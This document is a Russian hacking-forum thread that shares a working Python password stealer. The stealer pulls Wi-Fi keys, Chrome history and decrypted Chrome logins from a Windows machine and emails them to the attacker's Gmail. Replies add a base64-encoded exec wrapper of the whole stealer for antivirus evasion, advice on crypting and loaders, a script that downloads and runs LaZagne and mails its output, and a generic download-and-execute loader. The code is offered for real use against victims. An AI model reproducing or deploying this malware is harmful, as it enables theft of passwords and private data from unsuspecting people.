Стиллер паролей на python с отправкой на почту

Joynses

(L1) cache
Забанен
Регистрация
19.10.2019
Сообщения
750
Реакции
666
Гарант сделки
1
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
[CLIKE]
Python:
#!/usr/bin/python
import smtplib
import base64, os, sys, re
import sqlite3
import socket
import platform
import uuid

sender = ''
reciever = ''
password = ''
# Dont change this
marker = "Joynses"


def wifipass():
   def get_wlans():
      data = os.popen("netsh wlan show profiles").read()
      wifi = re.compile("All User Profile\s*:.(.*)")
      return wifi.findall(data)

   def get_pass(network):
      try:
         wlan = os.popen("netsh wlan show profile "+str(network.replace(" ","*"))+" key=clear").read()
         pass_regex = re.compile("Key Content\s*:.(.*)")
         return pass_regex.search(wlan).group(1)
      except:
         return " "

   f = open("wifi.txt","w")
   for wlan in get_wlans():
       f.write("-----------\n"+" SSID : "+wlan + "\n Password : " + get_pass(wlan))
   f.close()

wifipass()

################ CHROME ################
################  CODE  ################
################  HERE  ################
def history():
   import operator
   from collections import OrderedDict
#import matplotlib.pyplot as plt

   def parse(url):
           try:
                   parsed_url_components = url.split('//')
                   sublevel_split = parsed_url_components[1].split('/', 1)
                   domain = sublevel_split[0].replace("www.", "")
                   return domain
           except IndexError:
                   print ("URL format error!")

   def analyze(results):
      b=open("chrome1.txt","w")
      for site, count in sites_count_sorted.items():
         #print site, count
         b.write(site + "\n")
#path to user's history database (Chrome)
      b.close()
   data_path = os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default"
   files = os.listdir(data_path)
   history_db = os.path.join(data_path, 'history')
#querying the db
   c = sqlite3.connect(history_db)
   cursor = c.cursor()
   select_statement = "SELECT urls.url, urls.visit_count FROM urls, visits WHERE urls.id = visits.url;"
   cursor.execute(select_statement)
   results = cursor.fetchall()
   sites_count = {}
   for url, count in results:
           url = parse(url)
           if url in sites_count:
                   sites_count[url] += 1
           else:
                   sites_count[url] = 1
   sites_count_sorted = OrderedDict(sorted(sites_count.items(), key=operator.itemgetter(1), reverse=True))
   analyze (sites_count_sorted)
################ CHROME ################
################  CODE  ################
################  HERE  ################
history()
def chrome():
   import os,sqlite3,win32crypt
   data=os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
   connection = sqlite3.connect(data)
   cursor = connection.cursor()
   cursor.execute('SELECT action_url, username_value, password_value FROM logins')
   final_data=cursor.fetchall()
   a=open("chrome.txt","w")
   a.write("Extracted chrome passwords :\n")
   for website_data in final_data:
       password = win32crypt.CryptUnprotectData(website_data[2], None, None, None, 0)[1]
       one="Website  : "+str(website_data[0])
       two="Username : "+str(website_data[1])
       three="Password : "+str(password)
       a.write(one+"\n"+two+"\n"+three)
       a.write("\n"+"====="*10+"\n")
   a.close()

chrome()

################  EMAIL ################
################  CODE  ################
################  HERE  ################
filename = "wifi.txt"
fo = open(filename, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)

body = """
New stuff info from victim
"""
part1 = """From: Victim <>
To: Filip <>
Subject: Victim wifi
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)

part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
""" % (body,marker)

part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
""" %(filename, filename, encodedcontent, marker)

message = part1 + part2 + part3

try:
   smtpObj = smtplib.SMTP('smtp.gmail.com:587')
   smtpObj.starttls()
   smtpObj.login(sender, password)
   smtpObj.sendmail(sender, reciever, message)
   fo.close()
   os.remove("wifi.txt")
except Exception:
   print ("Error: unable to send email")
#################################################
filename = "chrome1.txt"
fo1 = open(filename, "rb")
filecontent = fo1.read()
encodedcontent = base64.b64encode(filecontent)

body = """
New stuff info from victim - History
"""
part1 = """From: Victim <>
To: Filip <>
Subject: Victim chrome history
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)

part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
""" % (body,marker)

part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
""" %(filename, filename, encodedcontent, marker)

message = part1 + part2 + part3

try:
   smtpObj = smtplib.SMTP('smtp.gmail.com:587')
   smtpObj.starttls()
   smtpObj.login(sender, password)
   smtpObj.sendmail(sender, reciever, message)
   #print "Successfully sent email"
   fo1.close()
   os.remove("chrome1.txt")
except Exception:
   print ("Error: unable to send email")
###########################################
filename = "chrome.txt"
fo = open(filename, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)

body = """
New stuff info from victim
===========================
Name: %s
FQDN: %s
System Platform: %s
Machine: %s
Node: %s
Platform: %s
Pocessor: %s
System OS: %s
Release: %s
Version: %s
""" % (socket.gethostname(), socket.getfqdn(), sys.platform,platform.machine(),platform.node(),platform.platform(),platform.processor(),platform.system(),platform.release(),platform.version()) ###########
part1 = """From: Victim <>
To: Filip <>
Subject: Victim saved pass
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)

part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
""" % (body,marker)

part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
""" %(filename, filename, encodedcontent, marker)

message = part1 + part2 + part3

try:
   smtpObj = smtplib.SMTP('smtp.gmail.com:587')
   smtpObj.starttls()
   smtpObj.login(sender, password)
   smtpObj.sendmail(sender, reciever, message)
   fo.close()
   os.remove("chrome.txt")
except Exception:
   print ("Error: unable to send email")
[/CLIKE]

Стиллер с отправкой паролей на электронную почту. Очень прост в использовании :)

Создайте файл с расширением .py, затем вставьте туда мой код

И измените все 3 параметра на свои: отправитель = 'Login@gmail.com'

reciever = 'receiver@gmail.com'

пароль = «ваш пароль»

Готово!

P.S Это фикс какого-то не рабочего стиллера.

Внимание! Предоставлено только в ознакомительных целях. Живите по закону и никому не вредите :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Назад в 200х?)
Почему бы не прикрутить отправку данных на гейт, вместо почты?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Почему бы не прикрутить отправку данных на гейт, вместо почты?
Этим стиллер и уникален) Стиллеров с отправкой логов на гейт много, а на почту - почти нет.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Эти типо моя фишка)

Ну да, твоя... ))
Дабы не набивать ТС репу за шару оупен сорц софта, вот то же самое от реального автора (без хайда): здесь + GitHub:


П.С. Скажем нет необоснованному хайду))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну да, твоя... ))
Дабы не набивать ТС репу за шару оупен сорц софта, вот то же самое от реального автора (без хайда): здесь + GitHub:


П.С. Скажем нет необоснованному хайду))
1584719872381.png
1584719998055.png
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Дабы не набивать ТС репу за шару оупен сорц софта, вот то же самое от реального автора (без хайда): здесь + GitHub:

Слив хайда - дело благородное, но кто будет думать о последствиях?)

Жду официальных извинений?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Слив хайда - дело благородное, но кто будет думать о последствиях?)

Жду официальных извинений?
Да, простите за то что вы людям с форума за набивку даёте, то что сами выложили в доступ. Как говорят в народе, по брацки очень
 
Жестко конечно, дружище ты молодец что экспериментируешь проблема только одна, во первых это вес файла тебе по любому придется его "компилировать" аля "py2exe" ну мы все понимаем что мало у кого стоит Python на Windows к тому же еще и с прописанным PATH, дак вот при "компиляции" 9 библиотек у тебя вес будет я даже представить себе не могу какой, ну пару мегабайт точно а при написании того же кода на C++ вес будет пару килобайт. Далее еще одна проблема это детекты, как только ты соберешь это чудо с тем же "py2exe" каждый антивирус тебя будет тормозить на стадии передачи файла victim запакуй хотя бы в base64 все это чудо и потом исполняй, вариантов много!

В общем из советов, меньше импортов в начале, и все это в готовом варианте заворачивай в base64 примерно оформление чтобы было такое

exec(base64.b64decode("CgojIS91c3IvYmluL3B5dGhvbgppbXBvcnQgc210cGxpYgppbXBvcnQgYmFzZTY0LCBvcywgc3lzLCByZQppbXBvcnQgc3FsaXRlMwppbXBvcnQgc29ja2V0CmltcG9ydCBwbGF0Zm9ybQppbXBvcnQgdXVpZAoKc2VuZGVyID0gJycKcmVjaWV2ZXIgPSAnJwpwYXNzd29yZCA9ICcnCiMgRG9udCBjaGFuZ2UgdGhpcwptYXJrZXIgPSAiSm95bnNlcyIKCgpkZWYgd2lmaXBhc3MoKToKICAgZGVmIGdldF93bGFucygpOgogICAgICBkYXRhID0gb3MucG9wZW4oIm5ldHNoIHdsYW4gc2hvdyBwcm9maWxlcyIpLnJlYWQoKQogICAgICB3aWZpID0gcmUuY29tcGlsZSgiQWxsIFVzZXIgUHJvZmlsZVxzKjouKC4qKSIpCiAgICAgIHJldHVybiB3aWZpLmZpbmRhbGwoZGF0YSkKCiAgIGRlZiBnZXRfcGFzcyhuZXR3b3JrKToKICAgICAgdHJ5OgogICAgICAgICB3bGFuID0gb3MucG9wZW4oIm5ldHNoIHdsYW4gc2hvdyBwcm9maWxlICIrc3RyKG5ldHdvcmsucmVwbGFjZSgiICIsIioiKSkrIiBrZXk9Y2xlYXIiKS5yZWFkKCkKICAgICAgICAgcGFzc19yZWdleCA9IHJlLmNvbXBpbGUoIktleSBDb250ZW50XHMqOi4oLiopIikKICAgICAgICAgcmV0dXJuIHBhc3NfcmVnZXguc2VhcmNoKHdsYW4pLmdyb3VwKDEpCiAgICAgIGV4Y2VwdDoKICAgICAgICAgcmV0dXJuICIgIgoKICAgZiA9IG9wZW4oIndpZmkudHh0IiwidyIpCiAgIGZvciB3bGFuIGluIGdldF93bGFucygpOgogICAgICAgZi53cml0ZSgiLS0tLS0tLS0tLS1cbiIrIiBTU0lEIDogIit3bGFuICsgIlxuIFBhc3N3b3JkIDogIiArIGdldF9wYXNzKHdsYW4pKQogICBmLmNsb3NlKCkKCndpZmlwYXNzKCkKCiMjIyMjIyMjIyMjIyMjIyMgQ0hST01FICMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyAgQ09ERSAgIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjICBIRVJFICAjIyMjIyMjIyMjIyMjIyMjCmRlZiBoaXN0b3J5KCk6CiAgIGltcG9ydCBvcGVyYXRvcgogICBmcm9tIGNvbGxlY3Rpb25zIGltcG9ydCBPcmRlcmVkRGljdAojaW1wb3J0IG1hdHBsb3RsaWIucHlwbG90IGFzIHBsdAoKICAgZGVmIHBhcnNlKHVybCk6CiAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgcGFyc2VkX3VybF9jb21wb25lbnRzID0gdXJsLnNwbGl0KCcvLycpCiAgICAgICAgICAgICAgICAgICBzdWJsZXZlbF9zcGxpdCA9IHBhcnNlZF91cmxfY29tcG9uZW50c1sxXS5zcGxpdCgnLycsIDEpCiAgICAgICAgICAgICAgICAgICBkb21haW4gPSBzdWJsZXZlbF9zcGxpdFswXS5yZXBsYWNlKCJ3d3cuIiwgIiIpCiAgICAgICAgICAgICAgICAgICByZXR1cm4gZG9tYWluCiAgICAgICAgICAgZXhjZXB0IEluZGV4RXJyb3I6CiAgICAgICAgICAgICAgICAgICBwcmludCAoIlVSTCBmb3JtYXQgZXJyb3IhIikKCiAgIGRlZiBhbmFseXplKHJlc3VsdHMpOgogICAgICBiPW9wZW4oImNocm9tZTEudHh0IiwidyIpCiAgICAgIGZvciBzaXRlLCBjb3VudCBpbiBzaXRlc19jb3VudF9zb3J0ZWQuaXRlbXMoKToKICAgICAgICAgI3ByaW50IHNpdGUsIGNvdW50CiAgICAgICAgIGIud3JpdGUoc2l0ZSArICJcbiIpCiNwYXRoIHRvIHVzZXIncyBoaXN0b3J5IGRhdGFiYXNlIChDaHJvbWUpCiAgICAgIGIuY2xvc2UoKQogICBkYXRhX3BhdGggPSBvcy5wYXRoLmV4cGFuZHVzZXIoJ34nKStyIlxBcHBEYXRhXExvY2FsXEdvb2dsZVxDaHJvbWVcVXNlciBEYXRhXERlZmF1bHQiCiAgIGZpbGVzID0gb3MubGlzdGRpcihkYXRhX3BhdGgpCiAgIGhpc3RvcnlfZGIgPSBvcy5wYXRoLmpvaW4oZGF0YV9wYXRoLCAnaGlzdG9yeScpCiNxdWVyeWluZyB0aGUgZGIKICAgYyA9IHNxbGl0ZTMuY29ubmVjdChoaXN0b3J5X2RiKQogICBjdXJzb3IgPSBjLmN1cnNvcigpCiAgIHNlbGVjdF9zdGF0ZW1lbnQgPSAiU0VMRUNUIHVybHMudXJsLCB1cmxzLnZpc2l0X2NvdW50IEZST00gdXJscywgdmlzaXRzIFdIRVJFIHVybHMuaWQgPSB2aXNpdHMudXJsOyIKICAgY3Vyc29yLmV4ZWN1dGUoc2VsZWN0X3N0YXRlbWVudCkKICAgcmVzdWx0cyA9IGN1cnNvci5mZXRjaGFsbCgpCiAgIHNpdGVzX2NvdW50ID0ge30KICAgZm9yIHVybCwgY291bnQgaW4gcmVzdWx0czoKICAgICAgICAgICB1cmwgPSBwYXJzZSh1cmwpCiAgICAgICAgICAgaWYgdXJsIGluIHNpdGVzX2NvdW50OgogICAgICAgICAgICAgICAgICAgc2l0ZXNfY291bnRbdXJsXSArPSAxCiAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgIHNpdGVzX2NvdW50W3VybF0gPSAxCiAgIHNpdGVzX2NvdW50X3NvcnRlZCA9IE9yZGVyZWREaWN0KHNvcnRlZChzaXRlc19jb3VudC5pdGVtcygpLCBrZXk9b3BlcmF0b3IuaXRlbWdldHRlcigxKSwgcmV2ZXJzZT1UcnVlKSkKICAgYW5hbHl6ZSAoc2l0ZXNfY291bnRfc29ydGVkKQojIyMjIyMjIyMjIyMjIyMjIENIUk9NRSAjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMgIENPREUgICMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyAgSEVSRSAgIyMjIyMjIyMjIyMjIyMjIwpoaXN0b3J5KCkKZGVmIGNocm9tZSgpOgogICBpbXBvcnQgb3Msc3FsaXRlMyx3aW4zMmNyeXB0CiAgIGRhdGE9b3MucGF0aC5leHBhbmR1c2VyKCd+JykrciJcQXBwRGF0YVxMb2NhbFxHb29nbGVcQ2hyb21lXFVzZXIgRGF0YVxEZWZhdWx0XExvZ2luIERhdGEiCiAgIGNvbm5lY3Rpb24gPSBzcWxpdGUzLmNvbm5lY3QoZGF0YSkKICAgY3Vyc29yID0gY29ubmVjdGlvbi5jdXJzb3IoKQogICBjdXJzb3IuZXhlY3V0ZSgnU0VMRUNUIGFjdGlvbl91cmwsIHVzZXJuYW1lX3ZhbHVlLCBwYXNzd29yZF92YWx1ZSBGUk9NIGxvZ2lucycpCiAgIGZpbmFsX2RhdGE9Y3Vyc29yLmZldGNoYWxsKCkKICAgYT1vcGVuKCJjaHJvbWUudHh0IiwidyIpCiAgIGEud3JpdGUoIkV4dHJhY3RlZCBjaHJvbWUgcGFzc3dvcmRzIDpcbiIpCiAgIGZvciB3ZWJzaXRlX2RhdGEgaW4gZmluYWxfZGF0YToKICAgICAgIHBhc3N3b3JkID0gd2luMzJjcnlwdC5DcnlwdFVucHJvdGVjdERhdGEod2Vic2l0ZV9kYXRhWzJdLCBOb25lLCBOb25lLCBOb25lLCAwKVsxXQogICAgICAgb25lPSJXZWJzaXRlICA6ICIrc3RyKHdlYnNpdGVfZGF0YVswXSkKICAgICAgIHR3bz0iVXNlcm5hbWUgOiAiK3N0cih3ZWJzaXRlX2RhdGFbMV0pCiAgICAgICB0aHJlZT0iUGFzc3dvcmQgOiAiK3N0cihwYXNzd29yZCkKICAgICAgIGEud3JpdGUob25lKyJcbiIrdHdvKyJcbiIrdGhyZWUpCiAgICAgICBhLndyaXRlKCJcbiIrIj09PT09IioxMCsiXG4iKQogICBhLmNsb3NlKCkKCmNocm9tZSgpCgojIyMjIyMjIyMjIyMjIyMjICBFTUFJTCAjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMgIENPREUgICMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyAgSEVSRSAgIyMjIyMjIyMjIyMjIyMjIwpmaWxlbmFtZSA9ICJ3aWZpLnR4dCIKZm8gPSBvcGVuKGZpbGVuYW1lLCAicmIiKQpmaWxlY29udGVudCA9IGZvLnJlYWQoKQplbmNvZGVkY29udGVudCA9IGJhc2U2NC5iNjRlbmNvZGUoZmlsZWNvbnRlbnQpCgpib2R5ID0gIiIiCk5ldyBzdHVmZiBpbmZvIGZyb20gdmljdGltCiIiIgpwYXJ0MSA9ICIiIkZyb206IFZpY3RpbSA8PgpUbzogRmlsaXAgPD4KU3ViamVjdDogVmljdGltIHdpZmkKTUlNRS1WZXJzaW9uOiAxLjAKQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvbWl4ZWQ7IGJvdW5kYXJ5PSVzCi0tJXMKIiIiICUgKG1hcmtlciwgbWFya2VyKQoKcGFydDIgPSAiIiJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzo4Yml0CgolcwotLSVzCiIiIiAlIChib2R5LG1hcmtlcikKCnBhcnQzID0gIiIiQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvbWl4ZWQ7IG5hbWU9XCIlc1wiCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6YmFzZTY0CkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSVzCgolcwotLSVzLS0KIiIiICUoZmlsZW5hbWUsIGZpbGVuYW1lLCBlbmNvZGVkY29udGVudCwgbWFya2VyKQoKbWVzc2FnZSA9IHBhcnQxICsgcGFydDIgKyBwYXJ0MwoKdHJ5OgogICBzbXRwT2JqID0gc210cGxpYi5TTVRQKCdzbXRwLmdtYWlsLmNvbTo1ODcnKQogICBzbXRwT2JqLnN0YXJ0dGxzKCkKICAgc210cE9iai5sb2dpbihzZW5kZXIsIHBhc3N3b3JkKQogICBzbXRwT2JqLnNlbmRtYWlsKHNlbmRlciwgcmVjaWV2ZXIsIG1lc3NhZ2UpCiAgIGZvLmNsb3NlKCkKICAgb3MucmVtb3ZlKCJ3aWZpLnR4dCIpCmV4Y2VwdCBFeGNlcHRpb246CiAgIHByaW50ICgiRXJyb3I6IHVuYWJsZSB0byBzZW5kIGVtYWlsIikKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmaWxlbmFtZSA9ICJjaHJvbWUxLnR4dCIKZm8xID0gb3BlbihmaWxlbmFtZSwgInJiIikKZmlsZWNvbnRlbnQgPSBmbzEucmVhZCgpCmVuY29kZWRjb250ZW50ID0gYmFzZTY0LmI2NGVuY29kZShmaWxlY29udGVudCkKCmJvZHkgPSAiIiIKTmV3IHN0dWZmIGluZm8gZnJvbSB2aWN0aW0gLSBIaXN0b3J5CiIiIgpwYXJ0MSA9ICIiIkZyb206IFZpY3RpbSA8PgpUbzogRmlsaXAgPD4KU3ViamVjdDogVmljdGltIGNocm9tZSBoaXN0b3J5Ck1JTUUtVmVyc2lvbjogMS4wCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT0lcwotLSVzCiIiIiAlIChtYXJrZXIsIG1hcmtlcikKCnBhcnQyID0gIiIiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6OGJpdAoKJXMKLS0lcwoiIiIgJSAoYm9keSxtYXJrZXIpCgpwYXJ0MyA9ICIiIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBuYW1lPVwiJXNcIgpDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOmJhc2U2NApDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0lcwoKJXMKLS0lcy0tCiIiIiAlKGZpbGVuYW1lLCBmaWxlbmFtZSwgZW5jb2RlZGNvbnRlbnQsIG1hcmtlcikKCm1lc3NhZ2UgPSBwYXJ0MSArIHBhcnQyICsgcGFydDMKCnRyeToKICAgc210cE9iaiA9IHNtdHBsaWIuU01UUCgnc210cC5nbWFpbC5jb206NTg3JykKICAgc210cE9iai5zdGFydHRscygpCiAgIHNtdHBPYmoubG9naW4oc2VuZGVyLCBwYXNzd29yZCkKICAgc210cE9iai5zZW5kbWFpbChzZW5kZXIsIHJlY2lldmVyLCBtZXNzYWdlKQogICAjcHJpbnQgIlN1Y2Nlc3NmdWxseSBzZW50IGVtYWlsIgogICBmbzEuY2xvc2UoKQogICBvcy5yZW1vdmUoImNocm9tZTEudHh0IikKZXhjZXB0IEV4Y2VwdGlvbjoKICAgcHJpbnQgKCJFcnJvcjogdW5hYmxlIHRvIHNlbmQgZW1haWwiKQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZpbGVuYW1lID0gImNocm9tZS50eHQiCmZvID0gb3BlbihmaWxlbmFtZSwgInJiIikKZmlsZWNvbnRlbnQgPSBmby5yZWFkKCkKZW5jb2RlZGNvbnRlbnQgPSBiYXNlNjQuYjY0ZW5jb2RlKGZpbGVjb250ZW50KQoKYm9keSA9ICIiIgpOZXcgc3R1ZmYgaW5mbyBmcm9tIHZpY3RpbQo9PT09PT09PT09PT09PT09PT09PT09PT09PT0KTmFtZTogJXMKRlFETjogJXMKU3lzdGVtIFBsYXRmb3JtOiAlcwpNYWNoaW5lOiAlcwpOb2RlOiAlcwpQbGF0Zm9ybTogJXMKUG9jZXNzb3I6ICVzClN5c3RlbSBPUzogJXMKUmVsZWFzZTogJXMKVmVyc2lvbjogJXMKIiIiICUgKHNvY2tldC5nZXRob3N0bmFtZSgpLCBzb2NrZXQuZ2V0ZnFkbigpLCBzeXMucGxhdGZvcm0scGxhdGZvcm0ubWFjaGluZSgpLHBsYXRmb3JtLm5vZGUoKSxwbGF0Zm9ybS5wbGF0Zm9ybSgpLHBsYXRmb3JtLnByb2Nlc3NvcigpLHBsYXRmb3JtLnN5c3RlbSgpLHBsYXRmb3JtLnJlbGVhc2UoKSxwbGF0Zm9ybS52ZXJzaW9uKCkpICMjIyMjIyMjIyMjCnBhcnQxID0gIiIiRnJvbTogVmljdGltIDw+ClRvOiBGaWxpcCA8PgpTdWJqZWN0OiBWaWN0aW0gc2F2ZWQgcGFzcwpNSU1FLVZlcnNpb246IDEuMApDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9JXMKLS0lcwoiIiIgJSAobWFya2VyLCBtYXJrZXIpCgpwYXJ0MiA9ICIiIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbgpDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOjhiaXQKCiVzCi0tJXMKIiIiICUgKGJvZHksbWFya2VyKQoKcGFydDMgPSAiIiJDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgbmFtZT1cIiVzXCIKQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzpiYXNlNjQKQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JXMKCiVzCi0tJXMtLQoiIiIgJShmaWxlbmFtZSwgZmlsZW5hbWUsIGVuY29kZWRjb250ZW50LCBtYXJrZXIpCgptZXNzYWdlID0gcGFydDEgKyBwYXJ0MiArIHBhcnQzCgp0cnk6CiAgIHNtdHBPYmogPSBzbXRwbGliLlNNVFAoJ3NtdHAuZ21haWwuY29tOjU4NycpCiAgIHNtdHBPYmouc3RhcnR0bHMoKQogICBzbXRwT2JqLmxvZ2luKHNlbmRlciwgcGFzc3dvcmQpCiAgIHNtdHBPYmouc2VuZG1haWwoc2VuZGVyLCByZWNpZXZlciwgbWVzc2FnZSkKICAgZm8uY2xvc2UoKQogICBvcy5yZW1vdmUoImNocm9tZS50eHQiKQpleGNlcHQgRXhjZXB0aW9uOgogICBwcmludCAoIkVycm9yOiB1bmFibGUgdG8gc2VuZCBlbWFpbCIp"))

ну и на последок убери из кода except Exception: кому ты их показывать будешь !? victim ? Отправляй тогда уж по почте, либо смени на pass просто и все.
 
первых это вес файла тебе по любому придется его "компилировать" аля "py2exe" ну мы все понимаем что мало у кого стоит Python на Windows к тому же еще и с прописанным PATH, дак вот при "компиляции" 9 библиотек у тебя вес будет я даже представить себе не могу какой, ну пару мегабайт точно а при написании того же кода на C++ вес будет пару килобайт.
А что, если я тебе скажу, что можно не тащить в доставляемом билде сразу интерпретатор пайтона, а грузить его с помощью loadpe. Доставляя байты пайтона в рантайме с сервера. Как например это делают в pupy. Да не, бред какой то))) Или ты озу жертвы экономишь?
ну и на последок убери из кода except Exception: кому ты их показывать будешь !? victim ?
Щас бы юзать эксепшены, только чтобы кому то их показывать ?
 
А что, если я тебе скажу, что можно не тащить в доставляемом билде сразу интерпретатор пайтона, а грузить его с помощью loadpe. Доставляя байты пайтона в рантайме с сервера. Как например это делают в pupy. Да не, бред какой то))) Или ты озу жертвы экономишь?

Щас бы юзать эксепшены, только чтобы кому то их показывать ?

Ты это не мне пиши, а предлагай в ветке, а то ты так пишешь будто это я статью написал.
 
Ты это не мне пиши, а предлагай в ветке, а то ты так пишешь будто это я статью написал.
Ну типо ты же про вес и эксепшены начал. Хотя про тот же вес - разговор бессмысленный. Потому что доставлять можно загрузчик, который в рантайме уже подтянет «тяжелое» тело.
 
Пацаны, поясните за вес. Я реально не понимаю и хочу понять.
Уже в которой теме на форуме вижу что пара метров - это капец, очень много, никуда не годится.

Почему так? У кого-то целевая аудитория в Африке через модем выходит в сеть? Или целевая платформа микроконтроллеры?
Я понимаю если малварь написана на простигосподи JS со всей обвязкой и весит 200-300мб, тут конечно вопросов нет. Но блин, 2020 год, люди видео в 4к смортят через интернет. Действительно разница между 100кб и 5мб настолько критична?

Я всегда думал что трали-вали, делаем стейджинг - запускаемый файл минимального веса, а все остальное в фоне подтягивается.
Короч, прошу просветить меня в этом вопросе.
 
Пацаны, поясните за вес. Я реально не понимаю и хочу понять.
Действительно разница между 100кб и 5мб настолько критична?
Короч, прошу просветить меня в этом вопросе.
Всё просто, есть обоснованные причины:
- чем больше файл, тем муторнее его криптовать паблик криптом
- чем больше файл, тем меньше успешных загрузок с лодыря
- чем больше файл, тем сложнее всё это чудо чистить

А есть необоснованные:
- "Вот в моем 2004 малварь писалась на ассемблере, вес исчислялся в байтах"
- "Ой, это много"

Истина же где-то рядом - есть перечень языков, удобных для разработки малвари под окна - асм, си, плюсы (ну вложим еще c#, если речь не про масс софт). На них крайне сложно набрать 5 метров веса исполняемого файла и их использование можно обосновать. Другое дело, что мы обсуждаем этот вопрос в теме "стиллер для винды на питоне" :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Приветствую! Из-за того, что начал активно изучать питон - хочу дополнить эту тему и упростить вам жизнь!
Для стиллера можно использовать готовый вариант под названием "LaZagne" Там уже все заранее встроено. От стиллера паролей на вай-фай сеть, паролей в браузерах, до сохраненных учеток vnc. А главное преимущество - этот скрипт будет работать на всех ОС. Кали, Мак, Винда - не важно. (Только бинарник замените на нужный) Их лаба: https://github.com/AlessandroZ/LaZagne

Этот код я скопипастил из обучения и немного подредактировал + добавил комментарии для новичков. Надеюсь кому-то пригодится .-.
Для работы нужно установить requests (pip install requests)
Для компиляции в exe - лучше использовать python 32 bit. Если использовать 64 bit - то бинарник не будет работать на 32 bit
Подробнее читайте в их лабе на гитхабе. (так же с помощи этого выходит неплохой лоадер.) Фуд по скантайму. Правда вес 6 мб .-.
(ниже код с отправкой результатов на gmail почту)
Python:
import requests
import smtplib
import subprocess
import os
import tempfile


def downlaod(url):
    get_response = requests.get(url)
    file_name = "laZagne.exe"
    with open(file_name, "wb") as out_file:
        out_file.write(get_response.content)


def send_mail(email, password, massage):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, massage)
    server.quit()


temp_directory = tempfile.gettempdir()
# получаем temp директорию
os.chdir(temp_directory)
downlaod("http://server/laZagne.exe") # ваша ссылка на laZagne.exe (можно использовать пямой линк с лабы)
# скачиваем laZagne.exe в директорию temp
result = subprocess.check_output("laZagne.exe all", shell=True)
# используем параметр "all" Выводим результат. Подробнее о параметрах написано в их лабе
send_mail("your@gmail.com", "password", result) # вводим свои данные от почты
# отправляем результат на почту.
os.remove("laZagne.exe")
# удаляем бинарник из папки temp
Здесь просто голый лодырь для ваших зверей. Может кому нужен
Python:
import requests
import subprocess
import os
import tempfile


def download(url):
    get_response = requests.get(url)
    with open("filename.exe", "wb") as out_file: # название вашего файла (filename.exe)
        out_file.write(get_response.content)


temp_directory = tempfile.gettempdir()
os.chdir(temp_directory)
file = "filename.exe" # название вашего файла
download("http://example.com/zB8RzG") # прямая ссылка на ваш файл
subprocess.check_output(file, shell=True)
os.remove(file)
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх